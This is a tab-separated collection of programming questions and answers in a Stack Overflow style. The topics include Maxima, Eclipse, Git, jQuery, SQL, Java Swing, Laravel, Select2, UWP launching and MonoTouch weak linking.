22812808	0	maxima and converting output of variable to float <p>I can get maxima to solve an equation but can't figure out why it won't show it's numerical value without typing the extra command/step of <strong>float(%)</strong>. Is there away to automatically convert a solved variable to a numerical format.</p> <p>Example of equation below:</p> <pre><code>kill(all); alpha:float(.0014931); endfreq:50; dursec:1200; solve(alpha=log(startfreq/endfreq)/dursec,float(startfreq)); </code></pre> <p>what comes back is <strong>startfreq=50%e(44793/25000)</strong></p> <p>I would like it to say <strong>299.988</strong> instead </p>
12110407	0	 <p><strong>Solution 1 :</strong> One solution that worked for me when this error "<strong>The declared package does not match the expected package</strong>" occured for a project I checked-out from eclipse CVS :</p> <p>1.Right click the project in the navigation bar and click 'delete'<br> 2.Make sure '<strong>Delete project contents on disk</strong>' option is <strong>NOT</strong> checked, and click OK.<br> 3.Now after the project is deleted, go to <strong>File -> Import -> General -> Existing Projects into Workspace</strong><br> 4.Select your workspace from the directory listing and check the box next to your project name. Click '<strong>Finish</strong>' </p> <p><strong>Solution 2 :</strong> Once again I got this error with the following message </p> <p><em>Eclipse build errors - java.lang.Object cannot be resolved</em> I had to follow another route mention here and the error went away.</p> <p>In the mean time, the work around is to remove the JRE System Library from the project and then add it back again. Here are the steps:</p> <ol> <li>Go to properties of project with the build error (right click > Properties) View the "Libraries" tab in the "Build Path" section Find the "JRE System Library" in the list (if this is missing then this error message is not an eclipse bug but a mis-configured project) </li> <li>Remove the "JRE System Library"</li> <li>Hit "Add Library ...", Select "JRE System Library" and add the appropriate JRE for the project (eg. 'Workspace default JRE')</li> <li>Hit "Finish" in the library selection and "OK" in the project properties and then wait for the re-build of the project</li> </ol> <p>Hopefully the error will be resolved ...</p>
2282264	0	In Google App Engine, how do I use reference properties between two entities that reference each other? <p>If I have two types of models that each reference each other, whichever one I try to define first says it does not recognize the referenced other type (because it is defined further down in the file). For example:</p> <pre><code>class Author(db.Model): most_recent_book = db.ReferenceProperty(Book) class Book(db.Model): author = db.ReferenceProperty(Author) </code></pre> <p>This will claim that the referenced "Book" model is not recognized. If I flip the order, I run into the same issue (except it will say that "Author" is not recognized). How do I get around this? </p>
7306049	0	 <p>You don't have to use the <code>operator()()</code> if you provide a method on the object to be executed (in this case <code>updateEpsilons</code>). Obviously this <code>operator()()</code> is not correct because it does not call the appropriate <code>updateEpsilons</code> method with a parameter.</p> <p>Note that in the tutorial, the new thread is created giving just an instance of a class, and no method. In this case, the class has to implement the <code>operator()()</code>, which is what will be called for the code of the thread.</p>
13292336	0	Can i get an automatic email every time someone logs in to password protected directory? <p>I have a VPS server with WHM and cpanel. We have a few password protected directories(defined in cpanel). We wish that whenever a user logs in to one of them, we will get an instant email. Possible? Thanks</p>
37553649	0	git stash pop prints "deleted by us" for file that was never created on master <p>I am relatively new to git (coming from svn).</p> <p>I perform the following steps which are mainly that I edit a file on a branch, perform a stash and then try to apply the stash to the master (which does not have this file).:</p> <pre><code>user1:~/gittest$ ls user1:~/gittest$ git init Initialized empty Git repository in /home/user1/gittest/.git/ user1:~/gittest$ touch file1 user1:~/gittest$ git add file1 user1:~/gittest$ git commit -m "committing file1" [master (root-commit) 7c29335] committing file1 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 file1 user1:~/gittest$ git checkout -b br1 Switched to a new branch 'br1' user1:~/gittest$ touch file2 user1:~/gittest$ git add file2 user1:~/gittest$ git commit -m "committing file2" [br1 b565401] committing file2 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 file2 user1:~/gittest$ echo "updated.." &gt;&gt; file2 user1:~/gittest$ git add file2 user1:~/gittest$ git stash Saved working directory and index state WIP on br1: b565401 committing file2 HEAD is now at b565401 committing file2 user1:~/gittest$ git checkout master Switched to branch 'master' user1:~/gittest$ git stash pop CONFLICT (modify/delete): file2 deleted in Updated upstream and modified in Stashed changes. Version Stashed changes of file2 left in tree. user1:~/gittest$ git status On branch master Unmerged paths: (use "git reset HEAD &lt;file&gt;..." to unstage) (use "git add/rm &lt;file&gt;..." as appropriate to mark resolution) deleted by us: file2 no changes added to commit (use "git add" and/or "git commit -a") </code></pre> <p>My question is why does git print the message "deleted by us" since file2 was never created on master and thus never deleted.</p> <p>Is this a misleading message, or am I missing something about the way git works.</p>
22455309	1	How can I directly open a custom file with python on a double click? <p>I am programming on a windows machine and I have an app that reads file selected by the user. Is it possible to allow them to open the file directly when they double click. This needs to work when the program is "compiled" as an .exe with cxfreeze.</p> <p>What I am really asking is this: Is there a way to allow the user to double click on a custom file (.lpd) and when they do windows starts the program (a compiled cxfreeze .exe) and passes it the file path as an argument.</p>
7409535	0	 <p><a href="http://jsoup.org/" rel="nofollow">Jsoup</a> could help to remove all anchor tags with name starting with "OLE".</p> <pre><code>Elements anchors = doc.select("a[name^=OLE]"); for (Iterator it = anchors.iterator(); it.hasNext(); ) { Element anchor = it.next(); String text = anchor.text(); Element header = anchor.parent(); header.text(text); } </code></pre>
23957246	0	Apache derby plugin for eclipse <p>After installing the <a href="http://archive.apache.org/dist/db/derby/db-derby-10.3.1.4/" rel="nofollow noreferrer">JavaDB plugin</a> for eclipse version 4.3.2, I unzipped the core and ui folders and put their contents under eclipse/plugin directroy.</p> <p>unfortunately, clicking on a project, and adding apache derby nature lead for nothing! No packages is added to the project, and no control panel is available for the apache derby! I can repeat the process 10s times and nothing happened.</p> <p>I'm new with the environment, help me out!</p> <p>Ps; you should be able to see packages added to eclipse java ee kepler.</p> <p><img src="https://i.stack.imgur.com/6aAOL.png" alt="enter image description here"></p>
40737930	0	Using PHP inside of HTML to redirect to a random site <p>I need to be able to have the user click a button, and be redirected to a random page.</p> <p>I tried putting the PHP inside of JavaScript, and that inside of HTML, like this:</p> <pre><code>&lt;script&gt; &lt;button onclick="var jsVar = "&lt;?php $urls = array("www.site1.com", "www.site2.com", "www.site3.com","www.site4.com"); $url = $urls[array_rand($urls)]; header("Location: http://$url"); ?&gt;""&gt;Click&lt;/button&gt; &lt;/script&gt; </code></pre> <p>I know this may have many errors, and help is very appreciated. Thank you!</p>
19077661	0	 <p>CMake guys are working on it: <a href="http://www.cmake.org/Bug/print_bug_page.php?bug_id=13511" rel="nofollow">Bug report at cmake.org</a></p>
7143488	0	 <p>I propose that you generate Image for your need, just by running this code and delete it after you generate the image:</p> <pre><code>- (void)viewDidLoad { ... someButton = [UIButton buttonWithType:101]; UIBarButtonItem *someBarButton = [[UIBarButtonItem alloc] initWithCustomView:someButton]; self.navigationItem.leftBarButtonItem = someBarButton; ... } </code></pre> <p>and </p> <pre><code>- (void)viewWillAppear:(BOOL)animated { .... UIImage *img1 = [someButton backgroundImageForState:UIControlStateNormal]; NSData *newData = UIImagePNGRepresentation(img1); NSFileManager *fileManager =[NSFileManager defaultManager]; BOOL filecreationSuccess = [fileManager createFileAtPath:@"/Users/macbookmac/Desktop/tester.png" contents:newData attributes:nil]; ... } </code></pre>
2638603	0	 <p>$(document).ready() fires once the DOM is completely loaded and ready for manipulation. This prevents your code from firing before the objects that it'll act against exist. $(document).ready() is the most verbose version of it, and can be replaced up with any of these statements...</p> <pre><code>$(document).ready(handler) $().ready(handler) (this is not recommended) $(handler) $(document).bind("ready", handler) </code></pre> <p>See <a href="http://api.jquery.com/ready/" rel="nofollow noreferrer">here</a> for the documentation. </p>
178005	0	Simulating <%#Bind(...) %> <p>ASP.Net:</p> <p>In code-behind I can simulate <code>&lt;%# Eval("Property")%&gt;</code> with a call to <code>DataBinder.Eval(myObject,"Property");</code></p> <p>How do I simulate a call to <code>&lt;%# Bind("Property")%&gt;</code> ?</p> <p>many thanks</p>
5519132	0	Add padding to the contents of a textfield <p>I have a textinput component on my stage with an instance name of "myTxt"</p> <p>I would like to add some left padding to the contents of this textfield. I've tried:</p> <pre><code>myTxt.setStyle("textPadding", 5); </code></pre> <p>But it adds top (and I assume bottom and right) padding in addition to the left padding. What is the best way to simply add left padding to the textfield's contents?</p> <p>Thanks for your help!</p>
36192700	0	 <p>I got the solution. The reason why <code>y</code> didn't increase was because the value of <code>x</code> didn't get reset from <code>1000</code>. It just automatically skipped that chunk of code because the value of <code>x</code> was already 1000. This is my improved code which also sorts the array in order. </p> <pre class="lang-py prettyprint-override"><code>def Problem4(): y = 100 a = [] x1 = [] y1 = [] while y &lt; 1000: y = y + 1 x = 100 while x &lt; 1000: z = x*y if str(z) == str(z)[::-1]: a.append(z) x = x + 1 a.sort() print(a) Problem4() </code></pre>
32852767	0	 <ol> <li>The m. or t. are aliases for tables within your query (so you are probably using tables that begin with the letter m and t). The alias is specified after the table name in the FROM part of your query.</li> <li>The syntax looks off for your JOIN. The query should probably look more similar to this:</li> </ol> <blockquote> <p>SELECT DISTINCT t1.email, t1.status_type, t2.status_value_text<br> FROM [Table 1] t1 JOIN [Table 2] t2 ON t1.email = t2.email</p> </blockquote> <p>Check out this link to see more examples.<a href="http://www.w3schools.com/sql/sql_join.asp" rel="nofollow">http://www.w3schools.com/sql/sql_join.asp</a></p>
21515056	0	 <p>I suggest that you give your bottom colorful panels a <code>preferredDimension</code> based on the screen resolution, the font size, etc. That way, it <em>may</em> stay the way you want it to stay. </p> <p>Also, try setting the <code>Insets</code> for these components, see if that helps.</p>
10981830	0	 <p>Inheritance is not the answer to everything, and here is is <em>not</em> the answer at all. Inheritance should model "is-a", and by no stretch of the imagination is an <code>Account</code> a <code>UseAccount</code>.</p> <p>Instead, just change the signature of <code>display()</code> to take a <code>JTextArea</code> as an argument; then in the <code>display()</code> code you'll have a <code>JTextArea</code> to work with. When you call <code>display()</code>, pass the <code>JTextArea</code> in.</p> <p>In other words:</p> <pre><code>void display(JTextArea ta) { ta.append(name); ... </code></pre> <p>and then</p> <pre><code>// "frame" is the UseAccount object that contains the JTextArea variable `output` myAccount.display(frame.output); </code></pre> <p>Most of the time, the right question is not "How can X get access to part of Y", but rather "How can Y give access to part of itself to X?"</p> <p>One final note: small effort put into naming variables well really pays off. </p>
38350549	0	 <p>"Error : The uploaded file exceeds the upload_max_filesize directive in php.ini." Solved by uploading my theme manually. I was also facing the same problem while uploading wordpress theme, My theme is of 3.2MB in size. I searched for following line in wp-config.php file,</p> <p>// this will change your max file size upload AND your php memory define( 'WP_MEMORY_LIMIT', '64M' );</p> <p>But it was not found. so I tried another approach, I Log into cpanel went into the directory where wordpress is install then /wp-content/themes, choose upload option and upload my theme and it get installed. :D</p>
27024886	0	 <p>As I mentioned in my comment, you only need one loop to solve this problem:</p> <pre><code>public static boolean isStringArraySorted(String[] strs, int n) { for (int i = 0; i &lt; strs.length - 1; i++) { String first = substring(strs[i], n); String second = substring(strs[i + 1], n); if (first.compareToIgnoreCase(second) &gt; 0) { return false; } } return true; } private static String substring(String s, int n) { return s.substring(0, n &gt; s.length() ? s.length() - 1 : n); } </code></pre>
25475181	0	Stop R estimation after given time <p>I would like to constrain the time of estimation to be performed in R. For example, I would like to stop running estimation of a GARCH model (by function <code>ugarchfit</code> from package <code>rugarch</code>) after 10 seconds if it has not finished by that time. This is just one example, and I would be interested in a general way to instruct R to stop whatever function which has been running as long as a chosen time limit. Thank you!</p>
29672489	0	 <p>The easiest way to do it directly in the list is</p> <pre><code>HashSet&lt;Object&gt; seen=new HashSet&lt;&gt;(); employee.removeIf(e-&gt;!seen.add(e.getID())); </code></pre> <ul> <li><code>removeIf</code> will remove an element if it meets the specified criteria</li> <li><code>Set.add</code> will return <code>false</code> if it did not modify the <code>Set</code>, i.e. already contains the value</li> <li>combining these two, it will remove all elements (employees) whose id has been encountered before</li> </ul> <p>Of course, it only works if the list supports removal of elements.</p>
29462881	0	 <p>There are a few things involved here that it's useful to know.</p> <p>First, <code>.select2("val", xyz)</code> <a href="https://github.com/select2/select2/blob/c24293f2ba3d1de3b2dd1421177d3d91b05be887/src/js/select2/core.js#L462-L470" rel="nofollow">is equivalent to</a> <code>.val(xyz).trigger("change")</code>. The reason why a <code>change</code> event is triggered is for two reasons</p> <ul> <li>Older versions of Select2 used to trigger the <code>change</code> event, so we gave an easy-upgrade path.</li> <li>Other components on the page should be listening to the <code>change</code> event to know when the value of the <code>&lt;select&gt;</code> changes, so it makes sense to trigger it.</li> </ul> <p>Second, Select2 can only know if the underlying value of the <code>&lt;select&gt;</code> changes if you trigger the <code>change</code> event.</p> <p>So when you combine these two issues together, it starts to explain why Select2 doesn't act as you would expect when you set the new value within a <code>change</code> event.</p> <hr> <p>You can get around the cyclic <code>change</code> events by using the <code>select2:select</code> event to determine when a new selection is made, instead of the <code>change</code> event.</p> <p><a href="https://jsfiddle.net/nmeoosLk/8/" rel="nofollow">https://jsfiddle.net/nmeoosLk/8/</a></p> <p>This is locking you into using Select2-specific events, but it's your best alternative if you don't want to always check if the value changed. I personally would recommend not triggering the <code>change</code> event if the value didn't change, as the small amount of code will better help other components understand what is happening on the page.</p>
18727655	0	Add an object to a java structure only if it isn't already there <p>I have an arrayList that I want to add to, as long as the value isn't already stored in it. For example if my array is like this: </p> <pre><code>H LK KL LS </code></pre> <p>And I have the value LS, it wouldn't be added. But if the value was A, it would be. I don't care about order or sorting. Just whether or not the information is in there.</p> <p>I was thinking that the code should look something like this:</p> <pre><code>value = A; no = 0; for (int o; arraylist.length; o++) if (arraylist.get(o).equals(value)){ continue; }else{ no++; } } if (arraylist.length = no){ arraylist.add(value); } </code></pre> <p>But there has to be an easier way to do it. Does anyone know a more concise way to do this?</p>
39704721	0	 <p>Rather than attempting parse every line from the url and put it into specific rows for a csv file, you can just push it all into a text file to clean up the formating, and then read back from it, it may seem like a bit more works but this is generally my approach to comma delimited information from a URL. </p> <pre><code>import requests URL = "http://www.cftc.gov/dea/newcot/FinFutWk.txt" r = requests.get(URL,stream=True) with open('file.txt','w') as W: W.write(r.text) with open('file.txt', 'r') as f: lines = f.readlines() for line in lines: print(line.split(',')) </code></pre> <p>You can take what is in that forloop, and swap it around to actually saving the lists into a array of lists so you can use rather than print them.</p> <pre><code>content = [] for line in lines: content.append(line.split(',')) </code></pre> <p>Also note that upon splitting, you will still notice that there is content that has quite a large amount of white space after it, you could run through the entire list, for each list in the array, and remove all white space but that would ruin the first element in the list, or just convert the numeric values which have the white space into actual integers as they were read in as strings. That would be your preference. If you have any questions feel free to add a comment below.</p> <p>EDIT 1: On a side note, if you do not wish to keep the file that was saved with the content, import the os library and then after you read the lines into the lines array, remove the file.</p> <pre><code>import os os.remove('file.txt') </code></pre>
19661501	0	Regular expression that matches positive double number with/without parentheses <p>I'm trying to find out the regular expression that could match any double number between parentheses or without them. These would two examples of numbers that should match:</p> <pre><code>(0.5) </code></pre> <p>Or, </p> <pre><code>0.5 </code></pre>
18080612	0	Swing application won't display in unity when second monitor is on the left <p>I am developing an application in Swing. When I have two monitors connected, the application will not display. The icon appears in the unity side bar but the window is nowhere to be seen.</p> <p>I went back to basics and ran HelloWorldSwing.java from the Oracle tuorials</p> <p><a href="http://docs.oracle.com/javase/tutorial/uiswing/examples/start/HelloWorldSwingProject/src/start/HelloWorldSwing.java" rel="nofollow">http://docs.oracle.com/javase/tutorial/uiswing/examples/start/HelloWorldSwingProject/src/start/HelloWorldSwing.java</a></p> <p>and the same problem exists. Then I find that if I put Monitor 1 on the left, HelloWorld appears in the top left hand corner.</p> <p>How can I get HelloWorldSwing (and Swing apps in general) to display in Unity when the main monitor is on the right?</p> <p>My display configuration: Monitor 1 (Laptop Screen) 1280x800 Monitor 2 ("unknown") 1440x900</p> <p>Monitor 2 is on the left. I have the following in my ~/.xprofile:</p> <pre><code>xrandr --newmode "1680x1050" 146.25 1680 1784 1960 2240 1050 1053 1059 1089 -hsync +vsync xrandr --addmode VGA1 1680x1050 xrandr --newmode "1440x900" 106.50 1440 1528 1672 1904 900 903 909 934 -hsync +vsync xrandr --addmode VGA1 1440x900 </code></pre>
22210276	0	How to reroute a resource to include a different field besides $id in Laravel 4 <p>I have a resource controlling one of my tables "fans". I have a view that shows the information for each respective. The urls for these right now is "url.com/fans/{$id}", where {$id} is the unique id for the row/object in the table.</p> <p>I would like to maintain this relationship, but I would also like to the url be pointed to another column in the table (another unique identifier). So something like "ulr.com/fans/{$new_column}". </p> <p>How would I reroute this view/url so that it appears like that? This is what I have so far:</p> <p>Routes: </p> <pre><code>Route::resource('fans', 'FansController'); </code></pre> <p>FansController:</p> <pre><code>public function show($id) { $fan = Fan::find($id); return View::make('fans.show', compact('fan')); } </code></pre> <p>So ultimately, I would like "url.com/fans/{$id}" to still work, but then it will be rerouted to "url.com/fans/{$new_column}". And going directly to "url.com/fans/{$new_column} should just stay there. </p>
20079151	0	Trying to use the GitHub GUI and I come across "GitHub for Mac version is too old" <p>I tried to install GitHub GUI because I'm new to github. However, I installed the newest version of the github GUI I could find (straight from the github site itself)</p> <p>But when I try to log in using the GUI, it claims "GitHub for Mac version is too old"</p> <p>Can anyone help me out here?</p>
38407861	0	How do I get 'id' from database to update a particular row? <p>I am trying to update a row which is already in database, and i am using above code for that but it gives me error as 'undefined id', so how can i do this.....please help me!!!</p> <pre><code>if(isset($_POST['sub'])) { $getid="select id from login"; $res=mysql_query($getid); $ids=$_GET[$row['id']]; $about=$_POST['desc']; $pri=$_POST['price']; $ride=$_POST['fly']; $city=$_POST['ct']; $flt=""; foreach($ride as $entry) { $flt .= $entry.","; } $ct=""; foreach($city as $entry) { $ct .= $entry.","; } $query ="UPDATE login SET rides='$flt',price=$pri,about='$about',city='$ct' WHERE id='$ids'"; $result = mysql_query($query); echo $result; if(!$result) { echo '&lt;script language="javascript"&gt;'; echo 'alert("something went Wrong...:("); location.href="edit.php"'; echo '&lt;/script&gt;'; } else { echo '&lt;script language="javascript"&gt;'; echo 'alert("successfully updated!!!"); location.href="edit.php"'; echo '&lt;/script&gt;'; } } </code></pre>
34807482	0	 <p>In your code change <code>NSData *dataForJPEGFile = UIImageJPEGRepresentation(mimage, 1.0);</code> to </p> <p>NSData *dataForJPEGFile = UIImageJPEGRepresentation(mimage, 0.5);</p> <p>This code 0.5 means 50% of your image will compress.</p> <pre><code> - (void)saveImageToDocumentsDirectory:(UIImage *)mimage withFileName:(NSString *)fileName { NSData *dataForJPEGFile = UIImageJPEGRepresentation(mimage, 0.5); [dataForJPEGFile writeToFile:[self getDirectoryFilePath:fileName] atomically:YES]; } </code></pre>
7876410	0	 <p>usually ajax request ha js type,if you can change type to js these changes will works </p> <p>controller </p> <pre><code>def show @article = Article.find(params[:id]) respond_to do |format| format.html format.js format.xml { render :xml =&gt; @article } end </code></pre> <p>end</p> <p>then in app/views/articles/show.js.erb write javascript code to update page content like</p> <pre><code>$("#yourDiv1").html("blah blah"); $("#yourDiv2").html("whatever"); </code></pre> <p>and following approach will work for both html and JS</p> <pre><code>$.ajax({ success : null, type : 'GET', url : '/admin/articles/show', dataType : 'html', data: { id: article_id }, }).done(function( html ) { $("#yourDIv").html(html); }); </code></pre>
24368662	0	Query only uses relations without a given property <p>Is there a possibility with cypher to not use certain relations based on property? </p> <p>We have a new requirement that says that relations should never be hard deleted but should get a flag "deleted = true" so we kind of have an audit trail for relations of our nodes. (Something like X was a friend of Y but a little more complex and for all relation types)</p> <p>This is doable in a cypher query by just using <code>WHERE r.deleted = false</code> but in more complex queries that traverse 4-5 relation types this might become harder.</p> <p>Is there an easy way to just say that Neo4J shouldn't use any relation with the property "deleted" set to true?</p>
28617439	0	PERL Fixed Width to CSV based on Input Files <p>EDITED: I'm attempting to create a brief script that calls for an input fixed width file and a file with the start position and length of each attribute and then outputs the file as CSV instead of fixed width. I haven't messed with removing whitespace yet and am currently focusing on building the file reader portion. </p> <p>Fixed: My current issue is that this code returns data from the third row for $StartPosition and from the fourth row for $Length when they should both be first found on the first row of COMMA. I have no idea what is prompting this behavior.</p> <p>Next issue: It only reads the first record in practice_data.txt I'm guessing it's something where I need to tell COMMA to go back to the beginning?</p> <pre><code>while (my $sourceLine = &lt;SOURCE&gt;) { $StartPosition = 0; $Length = 0; $Output = ""; $NextRecord =""; while (my $commaLine = &lt;COMMA&gt;) { my $Comma = index($commaLine, ','); print "Comma location found at $Comma \n"; $StartPosition = substr($commaLine, 0, $Comma); print "Start position is $StartPosition \n"; $Comma = $Comma + 1 $Length = substr($commaLine, $Comma); print "Length is $Length \n"; $NextRecord = substr($sourceLine, $StartPosition, $Length); $Output = "$Output . ',' . $NextRecord"; } print OUTPUT "$Output \n"; } </code></pre> <p><strong>practice_data.txt</strong></p> <pre><code>1234512345John Doe 123 Mulberry Lane Columbus Ohio 43215Johnny Jane 5432154321Jason McKinny 423 Thursday Lane Columbus Ohio 43212Jase Jamie 4321543212Mike Jameson 289 Front Street Cleveland Ohio 43623James Sarah </code></pre> <p>Each record is 100 characters long. <strong>Definitions.txt:</strong></p> <pre><code>0,10 10,10 20,10 30,20 50,10 60,10 70,5 75,15 90,10 </code></pre>
25824500	0	Change web font-face type depending on browser <p>Is there any simple CSS rule for changing the whole body font-face type by detecting the browser type?</p> <p>Open-sans doesn't work in IE so I'm searching for a way to change it depending on the browsers.</p> <p>I tried looking at <a href="http://stackoverflow.com/questions/14633947/alternative-css-font-settings-for-different-browsers">this question</a> but still didn't understand how to accomplish this task.</p>
39695728	0	 <blockquote> <p>You can go with the following steps :</p> </blockquote> <p>Step 1: you can use the regex to extract the url <code>.*href=(.*)\\"&gt;.*</code></p> <p>Output will be : <code>\"http:\/\/docroot.com.dd:8083\/sites\/docroot.com.dd\/files\/catalogues\/2016-09\/images\/Pty%20Prs.compressedjpg_Page1.jpg</code></p> <p><a href="https://regex101.com/r/rZ9gX4/1" rel="nofollow">Example link</a></p> <p>Stem 2: use <code>unescape</code> function </p> <p>Output will be : <code>""http://docroot.com.dd:8083/sites/docroot.com.dd/files/catalogues/2016-09/images/Pty Prs.compressedjpg_Page1.jpg"</code></p>
35223269	0	Multiple Fact Tables-Kylin <ol> <li><p>I am aware that Apache Kylin only allows one Fact Table per OLAP cube. </p></li> <li><p>Is there a way to analyse a database with multiple Fact Tables using OLAP?</p></li> <li><p>Alternatively, Can we query from multiple cubes simultaneously in a single job on Apache Kylin?</p></li> </ol> <p>Regards Anish Dhiman</p>
34204753	0	 <p>You may need to decode the HTML string. Try this:</p> <pre><code>var decodedString = $("&lt;div /&gt;").html(text.substring(index, (index+speed))).html(); $("#console").append(decodedString); </code></pre> <p>This basically creates a div, parses and creates the html inside that div. Then we get the html from the div and append where we actually want it to be.</p> <p><strong>EDIT</strong>:</p> <p>So your issue is that you are breaking up <code>&lt;span&gt; This is a test &lt;/span&gt;</code> into smaller chunks. Appending any partial html will never work. jQuery can't properly parse it. <code>&lt;spa</code> + <code>n&gt;stuff</code> + <code>&lt;/sp</code> + <code>an&gt;</code> can not be individually inserted and expect it to be rendered correctly. Sometimes jQuery will try to fill in missing parts but don't rely on that. Instead break your text up into spans:</p> <pre><code>var decoded1 = $("&lt;div /&gt;").html("&lt;span&gt; Thi&lt;/span&gt;").html(); var decoded2 = $("&lt;div /&gt;").html("&lt;span&gt;s is a tes&lt;/span&gt;").html(); var decoded3 = $("&lt;div /&gt;").html("&lt;span&gt;t &lt;/span&gt;").html(); $("#console").append(decoded1); $("#console").append(decoded2); $("#console").append(decoded3); </code></pre> <p>And then of course you will no longer need to decode anything. You can just directly append those pieces and it will work.</p> <pre><code>$("#console").append("&lt;span&gt; Thi&lt;/span&gt;"); $("#console").append("&lt;span&gt;s is a tes&lt;/span&gt;"); $("#console").append("&lt;span&gt;t &lt;/span&gt;"); </code></pre>
32302123	0	 <p>The script was all correct, my problem was that my parent "FPSController" object didn't have a Rigidbody applied to it and should be the only object (as opposed to the "FirstPersonCharacter" object I had nested inside of it) that the scripts are applied to. That seemed to fix the problem.</p> <p>The correct code is:</p> <pre><code>/* coincollect.cs */ using UnityEngine; using System.Collections; using UnityEngine.UI; public class coincollect : MonoBehaviour { private int _score; [SerializeField] private Text _text; void OnTriggerEnter ( Collider collision ){ if(collision.gameObject.tag == "coin"){ Destroy(collision.gameObject); _score++; _text.text = "Score: " + _score; } } } </code></pre> <p>and:</p> <pre><code>/* warp.js */ var warptarget001 : GameObject; var warptarget002 : GameObject; function OnTriggerEnter (col : Collider) { if (col.gameObject.tag == "warp001") { this.transform.position = warptarget002.transform.position; } if (col.gameObject.tag == "warp002") { this.transform.position = warptarget001.transform.position; } } </code></pre>
4561760	0	C++ : Can't pass generic function to another one as a parameter <p>I want to pass multiple compare functions to the selection sort function as shown below but i get the fallowing error : </p> <pre><code>Error 1 error C2664: 'sort' : cannot convert parameter 3 from 'bool (__cdecl *)(int,int)' to 'bool *(__cdecl *)(T,T)' c:\users\milad\documents\visual studio 2008\projects\functionpass\functionpass\passcompare.cpp 49 FunctionPass </code></pre> <p>Code :</p> <pre><code>bool integerCompare (int a , int b) { return(a&lt;b); } bool charCompare (char a , char b) { return(a&lt;b); } bool stringCompare (string a , string b) { if(a.compare(b)&lt;0) return true; else return false; } template &lt;class T&gt; void sort(T x[], int n , bool(*whichCompare(T,T))) // n=size of the array { for (int pass=0; pass&lt;n-1; pass++) { int potentialSmallest = pass; for (int i=pass+1; i&lt;n; i++) { if ((*whichCompare)(x[i],x[potentialSmallest])) { potentialSmallest = i; } } int temp = x[pass]; x[pass] = x[potentialSmallest]; x[potentialSmallest] = temp; } } template &lt;typename T&gt; void printArray(T a[], int size) { for(int i=0;i&lt;size;i++) cout&lt;&lt;" "&lt;&lt;a[i]; } int main() { int intArray[] = {1,7,-8,-14,46,33,4}; sort &lt;int&gt;(intArray , 7 , integerCompare); printArray&lt;int&gt;(intArray,7); } </code></pre>
30850179	0	 <p>It was a very silly mistake. The code should be </p> <pre><code>CString strServerName = L"http://localhost"; ............. pFile = pServer-&gt;OpenRequest(CHttpConnection::HTTP_VERB_GET, L"/com.test.simpleServlet/api/customers"); </code></pre>
9026994	0	How do you select a rectangular region of cells in a Word Table <p>Given something like</p> <pre><code>Table table; Cell cell_1 = table.Cell(2,2); Cell cell_2 = table.Cell(4,4); </code></pre> <p>I want to select (or highlight) from cell_1 to cell_2 (like how you would if you were doing it by hand).</p> <p>I originally thought that doing the following would work:</p> <pre><code>Selection.MoveRight(wdUnits.wdCell, numCells, WdMovementType.wdExtend) </code></pre> <p>But according to <a href="http://msdn.microsoft.com/en-us/library/microsoft.office.interop.word.selection.moveright%28v=office.11%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/microsoft.office.interop.word.selection.moveright%28v=office.11%29.aspx</a> under remarks, using wdCells as the Unit will default the WdMovementType to wdMove, and I can't think of a workaround.</p>
21353953	0	Tab View in SWT <p>I have form created in SWT with many controls.Now,I have make those controls to appear in a tab.Grouping of all controls is not easy as each control defined in different java files with model,view and controller.All the controls appear now in single shell.Can I make it to appear in tab with all its controls active.</p> <p>I tried in using tab folder and make the controls come under tab but all the controls become inactive.</p> <p>So,please help me out to solve this problem</p>
14453247	0	 <p>You need edit your appdelegate class and there itself you need to assign your view controller to navigation controller as a root class. Then it will automatically convert all yours view controller to navigation view. Try it out </p>
15996410	0	 <p>I think the problem is how you are putting the origname and newname in the ajax request. Try this:</p> <pre><code>var origname = $('#NameDiv').find('input[name="myName"]').first().val(); var newname = $('#NameDiv').find('input[name="updatedName"]').first().val(); $.ajax({ url: 'Home/ChangeName', type: "POST", data: $("#form1").serialize() + "&amp;origname =" + origname + "&amp;newname =" + newname, success: function (result) { success(result); } }); </code></pre>
34421004	0	 <p>It's <code>x = Foo.objects.get(bar__id=2)</code> with double underscore.</p> <p>django <a href="https://docs.djangoproject.com/en/1.9/topics/db/queries/#retrieving-specific-objects-with-filters" rel="nofollow">doc</a>.</p>
35469616	0	Back arrow does not work when UWP launched from WinForms app <p>So we are integrating the old with the new. I am launching my UWP app from within our WinForms app. When I navigate around the UWP app, the back button does not work. When launching the UWP app normally everything works fine.</p> <p>Here is my winforms launching code:</p> <pre class="lang-cs prettyprint-override"><code>Uri uri = new Uri($"companies:"); //see declarations in package.appxmanifest in winten app. string targetPackageFamilyName = "81e1fc62-68df-45f5-ac35-c86d1277e2db_2zt4j53vqbz02"; // see added protocol declaration in package.appxmanifest in win10 app var supportStatus = await Launcher.QueryUriSupportAsync( uri, LaunchQuerySupportType.Uri, targetPackageFamilyName); if (supportStatus != LaunchQuerySupportStatus.Available) { var msg = "Can't launch because the app we need is " + supportStatus.ToString(); } else { var options = new LauncherOptions { TargetApplicationPackageFamilyName = targetPackageFamilyName }; var success = await Launcher.LaunchUriAsync(uri, options); } </code></pre> <p>And here is the receiving code </p> <pre class="lang-cs prettyprint-override"><code>public override async Task OnStartAsync(StartKind startKind, IActivatedEventArgs args) { if (args.Kind == ActivationKind.Protocol) { ProtocolActivatedEventArgs eventArgs = args as ProtocolActivatedEventArgs; switch (eventArgs.Uri.Scheme) { case "companies": NavigationService.Navigate(typeof(Views.CompaniesPage)); break; case "company": NavigationService.Navigate(typeof(Views.CompanyEditPage), eventArgs.Uri.Query); break; case "query": NavigationService.Navigate(typeof(Views.QueryPage)); break; default: break; } } else { NavigationService.Navigate(typeof(Views.CompaniesPage)); await Task.Yield(); } } </code></pre>
4964224	0	 <p>I can't promise it will be any better, but take a look at <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/text/TextLineMetrics.html" rel="nofollow">TextLineMetrics</a> It gives you more information than anything else, so this is probably your best bet.</p>
4169038	0	 <p>As mentioned by bosmacs, to accomplish this you need to let MonoTouch know that you need to link against the EventKit framework "weakly". Weak bindings ensure that the framework is only loaded on demand the first time a class from the framework is required.</p> <p>To do this you should take the following steps:</p> <ul> <li>Open your Project Options and navigate to the iPhone Build pane.</li> <li>Add '-gcc_flags "-weak_framework<br> iAd"' to the Extra Arguments for each configuration you wish to weakly link on</li> </ul> <p>In addition to this you will need to guard your usage of the types from running on older versions of iOS where they may not exist. There are several methods to accomplish this, but one of which is parsing UIDevice.CurrentDevice.SystemVersion.</p>
